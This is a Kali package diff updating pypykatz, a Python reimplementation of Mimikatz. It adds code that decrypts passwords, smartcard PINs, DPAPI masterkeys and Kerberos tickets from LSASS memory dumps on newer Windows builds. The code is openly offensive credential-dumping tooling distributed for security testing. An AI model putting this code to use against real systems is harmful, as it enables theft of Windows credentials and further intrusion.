Codebase list pypykatz / 465531f
New upstream release. Kali Janitor 1 year, 5 months ago
122 changed file(s) with 5629 addition(s) and 4601 deletion(s). Raw diff Collapse all Expand all
0 Metadata-Version: 1.2
0 Metadata-Version: 2.1
11 Name: pypykatz
2 Version: 0.4.9
2 Version: 0.6.3
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
66 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
107 Classifier: Programming Language :: Python :: 3.6
118 Classifier: License :: OSI Approved :: MIT License
129 Classifier: Operating System :: OS Independent
1310 Requires-Python: >=3.6
11 License-File: LICENSE
0 ![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/skelsec?label=skelsec&style=social)](https://twitter.com/intent/follow?screen_name=skelsec)
1
2 :triangular_flag_on_post: This is the public repository of PyPyKatz, for latest version and updates please consider supporting us through https://porchetta.industries/
3
04 # pypykatz
15 Mimikatz implementation in pure Python. At least a part of it :)
26 Runs on all OS's which support python>=3.6
37 ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg)
48
5 ## Sponsors
6 [<img src="https://user-images.githubusercontent.com/19204702/112737376-6e94b480-8f5a-11eb-8134-06397e83a3b9.png" width="130" height="130"/>](https://kovert.no/)
9 ## :triangular_flag_on_post: Sponsors
10
11 If you want to sponsors this project and have the latest updates on this project, latest issues fixed, latest features, please support us on https://porchetta.industries/
12
13 ## Official Discord Channel
14
15 Come hang out on Discord!
16
17 [![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/ycGXUxy)
18
719
820
921 ## WIKI
0 pypykatz (0.6.3-0kali1) UNRELEASED; urgency=low
1
2 * New upstream release.
3
4 -- Kali Janitor <[email protected]> Wed, 07 Dec 2022 01:08:47 -0000
5
06 pypykatz (0.4.9-0kali1) kali-dev; urgency=medium
17
28 [ Kali Janitor ]
1010 import argparse
1111 import glob
1212
13 from pypykatz import logger
1314 from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper
1415 from pypykatz.ldap.cmdhelper import LDAPCMDHelper
1516 from pypykatz.kerberos.cmdhelper import KerberosCMDHelper
1718 from pypykatz.registry.cmdhelper import RegistryCMDHelper
1819 from pypykatz.remote.cmdhelper import RemoteCMDHelper
1920 from pypykatz.dpapi.cmdhelper import DPAPICMDHelper
21 from pypykatz.rdp.cmdhelper import RDPCMDHelper
22 from pypykatz.parsers.cmdhelper import ParsersCMDHelper
2023
21 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()]
24 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper(), RDPCMDHelper(), ParsersCMDHelper()]
2225
2326 try:
2427 from pypykatz.smb.cmdhelper import SMBCMDHelper
6871 ###### VERBOSITY
6972 if args.verbose == 0:
7073 logging.basicConfig(level=logging.INFO)
74 logger.setLevel(logging.INFO)
7175 elif args.verbose == 1:
7276 logging.basicConfig(level=logging.DEBUG)
77 logger.setLevel(logging.DEBUG)
7378 else:
7479 level = 5 - args.verbose
7580 logging.basicConfig(level=level)
81 logger.setLevel(1)
7682
7783 ##### Common obj
7884 #results = {}
00
1 __version__ = "0.4.9"
1 __version__ = "0.6.3"
22 __banner__ = \
33 """
44 # pypyKatz %s
1111 import asyncio
1212 import base64
1313
14 from pypykatz import logging
14 from pypykatz import logger
1515 from pypykatz.apypykatz import apypykatz
1616 from pypykatz.commons.common import UniversalEncoder
1717 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
8080 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
8181
8282 elif args.grep:
83 print(':'.join(LogonSession.grep_header))
83 if args.directory:
84 print(':'.join(['filename'] + LogonSession.grep_header))
85 else:
86 print(':'.join(LogonSession.grep_header))
8487 for result in results:
8588 for luid in results[result].logon_sessions:
8689 for row in results[result].logon_sessions[luid].to_grep_rows():
90 if args.directory:
91 row = [result] + row
8792 print(':'.join(row))
8893 for cred in results[result].orphaned_creds:
8994 t = cred.to_dict()
9095 if t['credtype'] != 'dpapi':
9196 if t['password'] is not None:
9297 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
98 if args.directory:
99 x = [result] + x
93100 print(':'.join(x))
94101 else:
95102 t = cred.to_dict()
96103 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
104 if args.directory:
105 x = [result] + x
97106 print(':'.join(x))
98107
99108 for pkg, err in results[result].errors:
100109 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
101110 err_str = base64.b64encode(err_str.encode()).decode()
102111 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
112 if args.directory:
113 x = [result] + x
103114 print(':'.join(x) + '\r\n')
104115
105116 else:
132143
133144 if args.kerberos_dir:
134145 dir = os.path.abspath(args.kerberos_dir)
135 logging.info('Writing kerberos tickets to %s' % dir)
146 logger.info('Writing kerberos tickets to %s' % dir)
136147 for filename in results:
137148 base_filename = ntpath.basename(filename)
138149 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
163174 else:
164175 globdata = os.path.join(dir_fullpath, file_pattern)
165176
166 logging.info('Parsing folder %s' % dir_fullpath)
177 logger.info('Parsing folder %s' % dir_fullpath)
167178 for filename in glob.glob(globdata, recursive=args.recursive):
168 logging.info('Parsing file %s' % filename)
179 logger.info('Parsing file %s' % filename)
169180 try:
170 print('await')
171181 mimi = await apypykatz.parse_minidump_file(filename, packages = args.packages)
172182 results[filename] = mimi
173183 except Exception as e:
174184 files_with_error.append(filename)
175 logging.exception('Error parsing file %s ' % filename)
185 logger.exception('Error parsing file %s ' % filename)
176186 if args.halt_on_error == True:
177187 raise e
178188 else:
179189 pass
180190
181191 else:
182 logging.info('Parsing file %s' % args.memoryfile)
192 logger.info('Parsing file %s' % args.memoryfile)
183193 try:
184194 mimi = await apypykatz.parse_minidump_file(args.memoryfile, packages = args.packages)
185195 results[args.memoryfile] = mimi
186196 except Exception as e:
187 logging.exception('Error while parsing file %s' % args.memoryfile)
197 logger.exception('Error while parsing file %s' % args.memoryfile)
188198 if args.halt_on_error == True:
189199 raise e
190200 else:
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import io
6 import logging
7 from pypykatz.crypto.RC4 import RC4
5
6 from unicrypto.symmetric import RC4
87 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
98 from pypykatz.alsadecryptor.win_datatypes import LONG
109
8786 self.log('Looking for main struct signature in memory...')
8887 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
8988 if len(fl) == 0:
90 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
89 self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex())
9190 raise Exception('LSA signature not found!')
9291
9392 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
66
77 from pypykatz import logger
88 from pypykatz.commons.common import hexdump
9 from pypykatz.crypto.des import triple_des, CBC
10 from pypykatz.crypto.aes import AESModeOfOperationCFB
9 from unicrypto.symmetric import MODE_CBC, MODE_CFB, AES, TDES
1110 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
1211
1312 class LsaDecryptor_NT6(PackageDecryptor):
8584 if size % 8:
8685 if not self.aes_key or not self.iv:
8786 return cleartext
88 cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv)
87 cipher = AES(self.aes_key, MODE_CFB, self.iv)
8988 cleartext = cipher.decrypt(encrypted)
9089 else:
9190 if not self.des_key or not self.iv:
9291 return cleartext
93 cipher = triple_des(self.des_key, CBC, self.iv[:8])
92 cipher = TDES(self.des_key, MODE_CBC, self.iv[:8])
9493 cleartext = cipher.decrypt(encrypted)
9594 return cleartext
9695
6565
6666 elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value:
6767 template = templates['nt6']['x86']['5']
68
69
70 elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value:
68
69 elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value:
70 #6
7171 template = templates['nt6']['x86']['6']
72 else:
73 #7
74 template = templates['nt6']['x86']['7']
7275
7376 elif sysinfo.architecture == KatzSystemArchitecture.X64:
7477
221224 return res
222225
223226 def verify(self):
227 return self.tag == b'KSSM'
228
229
230 class KIWI_BCRYPT_KEY81_NEW:
231 def __init__(self):
232 self.size = None
233 self.tag = None
234 self.type = None
235 self.unk0 = None
236 self.unk1 = None
237 self.unk2 = None
238 self.unk3 = None
239 self.unk4 = None
240 self.unk5 = None #before, align in x64
241 self.unk6 = None
242 self.unk7 = None
243 self.unk8 = None
244 self.unk9 = None
245 self.unk10 = None
246 self.hardkey = None
247
248 @staticmethod
249 async def load(reader):
250 res = KIWI_BCRYPT_KEY81_NEW()
251 res.size = await ULONG.loadvalue(reader)
252 res.tag = await reader.read(4) # 'MSSK'
253 res.type = await ULONG.loadvalue(reader)
254 res.unk0 = await ULONG.loadvalue(reader)
255 res.unk1 = await ULONG.loadvalue(reader)
256 res.unk2 = await ULONG.loadvalue(reader)
257 res.unk3 = await ULONG.loadvalue(reader)
258 res.unk4 = await ULONG.loadvalue(reader)
259 await reader.align()
260 res.unk5 = await PVOID.load(reader) #before, align in x64
261 res.unk6 = await ULONG.loadvalue(reader)
262 res.unk7 = await ULONG.loadvalue(reader)
263 res.unk8 = await ULONG.loadvalue(reader)
264 res.unk9 = await ULONG.loadvalue(reader)
265 res.unk10 = await ULONG.loadvalue(reader)
266 res.hardkey = await KIWI_HARD_KEY.load(reader)
267 return res
268
269 def verify(self):
224270 return self.tag == b'KSSM'
225271
226272
415461 self.key_struct = KIWI_BCRYPT_KEY81
416462 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
417463
418
464 class LSA_x86_7(LsaTemplate_NT6):
465 def __init__(self):
466 LsaTemplate_NT6.__init__(self)
467
468 self.key_pattern = LSADecyptorKeyPattern()
469 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
470 self.key_pattern.IV_length = 16
471 self.key_pattern.offset_to_IV_ptr = 5
472 self.key_pattern.offset_to_DES_key_ptr = -79
473 self.key_pattern.offset_to_AES_key_ptr = -22
474
475 self.key_struct = KIWI_BCRYPT_KEY81_NEW
476 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
419477
420478 templates = {
421479 'nt6' : {
434492 '4' : LSA_x86_4(),
435493 '5' : LSA_x86_5(),
436494 '6' : LSA_x86_6(),
495 '7' : LSA_x86_7(),
437496 }
438497 }
439498 }
44 #
55
66 from abc import ABC, abstractmethod
7 import logging
7 from pypykatz import logger
88 from pypykatz.commons.common import hexdump
99 from pypykatz.alsadecryptor.win_datatypes import RTL_AVL_TABLE
1010
1313 self.package_name = package_name
1414 self.module_name = module_name
1515 self.sysinfo = sysinfo
16 self.logger = logging.getLogger('pypykatz')
16 self.logger = logger
1717
1818 def get_level(self):
1919 return self.logger.getEffectiveLevel()
116116 if temp and len(temp) > 0:
117117 if bytes_expected == False:
118118 try: # normal password
119 dec_password = temp.decode('ascii')
119 dec_password = temp.decode('utf-16-le')
120120 except: # machine password
121121 try:
122122 dec_password = temp.decode('utf-8')
123123 except:
124124 try:
125 dec_password = temp.decode('utf-16-le')
125 dec_password = temp.decode('ascii')
126126 except:
127127 dec_password = temp.hex()
128128 else: # if not machine password, then check if we should trim it
131131 else:
132132 dec_password = temp
133133
134 return dec_password
134 return dec_password, temp
135135
136136 async def walk_avl(self, node_ptr, result_ptr_list):
137137 """
66 from .credman.templates import *
77 from .dpapi.templates import *
88 from .dpapi.decryptor import *
9 #from .kerberos.templates import *
10 #from .kerberos.decryptor import *
9 from .kerberos.templates import *
10 from .kerberos.decryptor import *
1111 from .livessp.templates import *
1212 from .livessp.decryptor import *
1313 from .msv.templates import *
2323
2424 __credman__ = ['CredmanTemplate']
2525 __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential']
26 #__kerberos__ = ['KerberosTemplate','KerberosDecryptor']
26 __kerberos__ = ['KerberosTemplate','KerberosDecryptor']
2727 __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential']
2828 __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential']
2929 __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential']
3333
3434
3535 #__kerberos__
36 __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__
36 __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__ + __kerberos__
5757 cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
5858 if cache.cbPRT != 0 and cache.PRT.value != 0:
5959 ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT)
60 temp = self.decrypt_password(ptr_enc, bytes_expected=True)
60 temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True)
6161 try:
6262 temp = temp.decode()
6363 except:
6969 unk = await cache.toDetermine.read(self.reader)
7070 if unk is not None:
7171 cred.key_guid = unk.guid.value
72 cred.dpapi_key = self.decrypt_password(unk.unk)
72 cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk)
7373 cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
7474
7575 if cred.PRT is None and cred.key_guid is None:
4949 return ptr_entry, ptr_entry_loc
5050
5151 async def add_entry(self, dpapi_entry):
52
52 if dpapi_entry.key is None:
53 return
54
5355 if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
54 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
56 dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
5557 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
5658
5759 c = DpapiCredential()
107107 res.KeyUid = await GUID.loadvalue(reader)
108108 res.insertTime = await FILETIME.load(reader)
109109 res.keySize = await ULONG.loadvalue(reader)
110 res.key = await reader.read(res.keySize)
110 if res.keySize < 512:
111 res.key = await reader.read(res.keySize)
112 else:
113 res.key = None
111114 return res
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import io
6
7
8 from pypykatz.alsadecryptor.kerberosticket import KerberosTicket, KerberosTicketType
5 from typing import List
6 from pypykatz.commons.kerberosticket import KerberosTicket, KerberosTicketType
97 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
108 from pypykatz.alsadecryptor.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE
119 from pypykatz.commons.common import WindowsMinBuild
1210
1311 class KerberosCredential:
1412 def __init__(self):
15 self.credtype = 'kerberos'
16 self.username = None
17 self.password = None
18 self.domainname = None
19 self.luid = None
20 self.tickets = []
21 self.pin = None
13 self.credtype:str = 'kerberos'
14 self.username:str = None
15 self.password:str = None
16 self.password_raw:bytes = b''
17 self.domainname:str = None
18 self.luid:int = None
19 self.tickets:List[KerberosTicket] = []
20 self.pin:str = None
21 self.pin_raw:bytes = None
2222 self.cardinfo = None
2323
2424 def __str__(self):
2727 t += '\t\tDomain: %s\n' % self.domainname
2828 if self.password is not None:
2929 t += '\t\tPassword: %s\n' % self.password
30 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3031 if self.pin is not None:
3132 t += '\t\tPIN: %s\n' % self.pin
33 t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex()
3234 if self.cardinfo is not None:
3335 t += '\t\tCARDINFO: \n'
3436 t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
4951 t['credtype'] = self.credtype
5052 t['username'] = self.username
5153 t['password'] = self.password
54 t['password_raw'] = self.password_raw
5255 t['domainname'] = self.domainname
5356 t['luid'] = self.luid
5457 t['pin'] = self.pin
58 t['pin_raw'] = self.pin_raw
5559 t['cardinfo'] = self.cardinfo
5660 t['tickets'] = []
5761 for ticket in self.tickets:
6973 self.current_ticket_type = None
7074 self.current_cred = None
7175
72 def find_first_entry(self):
73 position = self.find_signature('kerberos.dll',self.decryptor_template.signature)
74 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
75 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
76 async def find_first_entry(self):
77 position = await self.find_signature('kerberos.dll',self.decryptor_template.signature)
78 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
79 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
7680 return ptr_entry, ptr_entry_loc
7781
78 def handle_ticket(self, kerberos_ticket):
82 async def handle_ticket(self, kerberos_ticket):
7983 try:
80 kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
84 #input(kerberos_ticket)
85 kt = await KerberosTicket.aparse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
8186 self.current_cred.tickets.append(kt)
8287 #print(str(kt))
8388 except Exception as e:
8489 raise e
8590
86 def start(self):
91 async def start(self):
8792 try:
88 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
93 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
8994 except Exception as e:
9095 self.log('Failed to find structs! Reason: %s' % e)
9196 return
9297
9398 if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
94 self.reader.move(entry_ptr_loc)
95 entry_ptr = PLIST_ENTRY(self.reader)
96 self.walk_list(entry_ptr, self.process_session_elist)
99 await self.reader.move(entry_ptr_loc)
100 entry_ptr = await PLIST_ENTRY.load(self.reader)
101 await self.walk_list(entry_ptr, self.process_session_elist)
97102 else:
98103 result_ptr_list = []
99 self.reader.move(entry_ptr_value)
100 start_node = PRTL_AVL_TABLE(self.reader).read(self.reader)
101 self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
104 await self.reader.move(entry_ptr_value)
105 avl_table = await PRTL_AVL_TABLE.load(self.reader)
106 start_node = await avl_table.read(self.reader)
107 await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
102108
103109 for ptr in result_ptr_list:
104 self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
105 self.reader.move(ptr)
106 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
107 self.process_session(kerberos_logon_session)
108
109 def process_session_elist(self, elist):
110 self.reader.move(elist.location)
111 self.reader.read_uint() #Flink do not remove this line!
112 self.reader.read_uint() #Blink do not remove this line!
113 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
114 self.process_session(kerberos_logon_session)
115
116 def process_session(self, kerberos_logon_session):
110 await self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
111 await self.reader.move(ptr)
112 kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader)
113 await self.process_session(kerberos_logon_session)
114
115 async def process_session_elist(self, elist):
116 await self.reader.move(elist.location)
117 await self.reader.read_uint() #Flink do not remove this line!
118 await self.reader.read_uint() #Blink do not remove this line!
119 kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader)
120 await self.process_session(kerberos_logon_session)
121
122 async def process_session(self, kerberos_logon_session):
117123 self.current_cred = KerberosCredential()
118124 self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier
119125
120 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
121 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
122 if self.current_cred.username.endswith('$') is True:
123 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
124 if self.current_cred.password is not None:
125 self.current_cred.password = self.current_cred.password.hex()
126 else:
127 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
126 self.current_cred.username = await kerberos_logon_session.credentials.UserName.read_string(self.reader)
127 self.current_cred.domainname = await kerberos_logon_session.credentials.Domaine.read_string(self.reader)
128 pwdata = await kerberos_logon_session.credentials.Password.read_maxdata(self.reader)
129 self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(pwdata)
128130
129131 if kerberos_logon_session.SmartcardInfos.value != 0:
130 csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
131 pin_enc = csp_info.PinCode.read_maxdata(self.reader)
132 self.current_cred.pin = self.decrypt_password(pin_enc)
132 csp_info = await kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
133 pin_enc = await csp_info.PinCode.read_maxdata(self.reader)
134 self.current_cred.pin, raw_dec = self.decrypt_password(pin_enc)
133135 if csp_info.CspDataLength != 0:
134136 self.current_cred.cardinfo = csp_info.CspData.get_infos()
135137
136138 #### key list (still in session) this is not a linked list (thank god!)
137139 if kerberos_logon_session.pKeyList.value != 0:
138 key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
140 key_list = await kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
139141 #print(key_list.cbItem)
140 key_list.read(self.reader, self.decryptor_template.hash_password_struct)
142 await key_list.read(self.reader, self.decryptor_template.hash_password_struct)
141143 for key in key_list.KeyEntries:
142144 pass
143145 ### GOOD
144146 #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
145147 #print(keydata_enc)
146 #keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
148 #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True)
147149 #print(keydata_enc.hex())
148150 #input('KEY?')
149151
203205 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
204206 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
205207 self.current_ticket_type = KerberosTicketType.TGS
206 self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
208 await self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
207209
208210 if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
209211 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
210212 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
211213 self.current_ticket_type = KerberosTicketType.CLIENT
212 self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
214 await self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
213215
214216 if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
215217 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
216218 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
217219 self.current_ticket_type = KerberosTicketType.TGT
218 self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
220 await self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
219221 self.current_ticket_type = None
220222 self.credentials.append(self.current_cred)
221223
9090 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
9191
9292
93 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
93 elif WindowsBuild.WIN_10_1607.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
9494 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
9595 template.first_entry_offset = 6
9696 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
9797 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
98 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
99 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
100 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
101
102 elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value:
103 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
104 template.first_entry_offset = 6
105 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
106 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11
98107 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
99108 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
100109 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
199208 return template
200209
201210 class PKERB_SMARTCARD_CSP_INFO_5(POINTER):
202 def __init__(self, reader):
203 super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5)
211 def __init__(self):
212 super().__init__()
213
214 @staticmethod
215 async def load(reader):
216 p = PKERB_SMARTCARD_CSP_INFO_5()
217 p.location = reader.tell()
218 p.value = await reader.read_uint()
219 p.finaltype = KERB_SMARTCARD_CSP_INFO_5
220 return p
204221
205222
206223 class KERB_SMARTCARD_CSP_INFO_5:
207 def __init__(self, reader, size):
224 def __init__(self):
225 #self.dwCspInfoLen = DWORD(reader).value
226 self.ContextInformation = None
227 self.nCardNameOffset = None
228 self.nReaderNameOffset = None
229 self.nContainerNameOffset = None
230 self.nCSPNameOffset = None
231 self.bBuffer = None
232
233
234 @staticmethod
235 async def load(reader, size):
236 res = KERB_SMARTCARD_CSP_INFO_5()
208237 pos = reader.tell()
209238 #self.dwCspInfoLen = DWORD(reader).value
210 self.ContextInformation = PVOID(reader).value
211 self.nCardNameOffset = ULONG(reader).value
212 self.nReaderNameOffset = ULONG(reader).value
213 self.nContainerNameOffset = ULONG(reader).value
214 self.nCSPNameOffset = ULONG(reader).value
239 res.ContextInformation = await PVOID.loadvalue(reader)
240 res.nCardNameOffset = await ULONG.loadvalue(reader)
241 res.nReaderNameOffset = await ULONG.loadvalue(reader)
242 res.nContainerNameOffset = await ULONG.loadvalue(reader)
243 res.nCSPNameOffset = await ULONG.loadvalue(reader)
215244 diff = reader.tell() - pos
216 data = reader.read(size - diff + 4)
217 self.bBuffer = io.BytesIO(data)
245 data = await reader.read(size - diff + 4)
246 res.bBuffer = io.BytesIO(data)
247 return res
218248
219249 def read_wcharnull(self, buffer, tpos):
220250 pos = buffer.tell()
245275 return t
246276
247277 class PKERB_SMARTCARD_CSP_INFO(POINTER):
248 def __init__(self, reader):
249 super().__init__(reader, KERB_SMARTCARD_CSP_INFO)
278 def __init__(self):
279 super().__init__()
280
281 @staticmethod
282 async def load(reader):
283 p = PKERB_SMARTCARD_CSP_INFO()
284 p.location = reader.tell()
285 p.value = await reader.read_uint()
286 p.finaltype = KERB_SMARTCARD_CSP_INFO
287 return p
250288
251289
252290 class KERB_SMARTCARD_CSP_INFO:
253 def __init__(self, reader, size):
291 def __init__(self):
292 self.MessageType = None
293 self.ContextInformation = None
294 self.SpaceHolderForWow64 = None
295 self.flags = None
296 self.KeySpec = None
297 self.nCardNameOffset = None
298 self.nReaderNameOffset = None
299 self.nContainerNameOffset = None
300 self.nCSPNameOffset = None
301 self.bBuffer = None
302
303 @staticmethod
304 async def load(reader, size):
305 res = KERB_SMARTCARD_CSP_INFO()
254306 pos = reader.tell()
255307 #self.dwCspInfoLen = DWORD(reader).value
256 self.MessageType = DWORD(reader).value
257 self.ContextInformation = PVOID(reader).value #U
258 self.SpaceHolderForWow64 = ULONG64(reader).value #U
259 self.flags = DWORD(reader).value
260 self.KeySpec = DWORD(reader).value
261 self.nCardNameOffset = ULONG(reader).value * 2
262 self.nReaderNameOffset = ULONG(reader).value * 2
263 self.nContainerNameOffset = ULONG(reader).value * 2
264 self.nCSPNameOffset = ULONG(reader).value * 2
308 res.MessageType = await DWORD.loadvalue(reader).value
309 res.ContextInformation = await PVOID.loadvalue(reader).value
310 res.SpaceHolderForWow64 = await ULONG64.loadvalue(reader).value
311 res.flags = await DWORD.loadvalue(reader).value
312 res.KeySpec = await DWORD.loadvalue(reader).value
313 res.nCardNameOffset = await ULONG.loadvalue(reader).value
314 res.nCardNameOffset *= 2
315 res.nReaderNameOffset = await ULONG.loadvalue(reader).value
316 res.nReaderNameOffset *= 2
317 res.nContainerNameOffset = await ULONG.loadvalue(reader).value
318 res.nContainerNameOffset *= 2
319 res.nCSPNameOffset = await ULONG.loadvalue(reader).value
320 res.nCSPNameOffset *= 2
265321 diff = reader.tell() - pos
266 data = reader.read(size - diff + 4)
267 self.bBuffer = io.BytesIO(data)
322 data = await reader.read(size - diff + 4)
323 res.bBuffer = io.BytesIO(data)
324 return res
268325
269326 def read_wcharnull(self, buffer, tpos):
270327 pos = buffer.tell()
294351
295352 return t
296353
297 class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):
298 def __init__(self, reader):
299 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5)
354 class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):
355 def __init__(self):
356 super().__init__()
357
358 @staticmethod
359 async def load(reader):
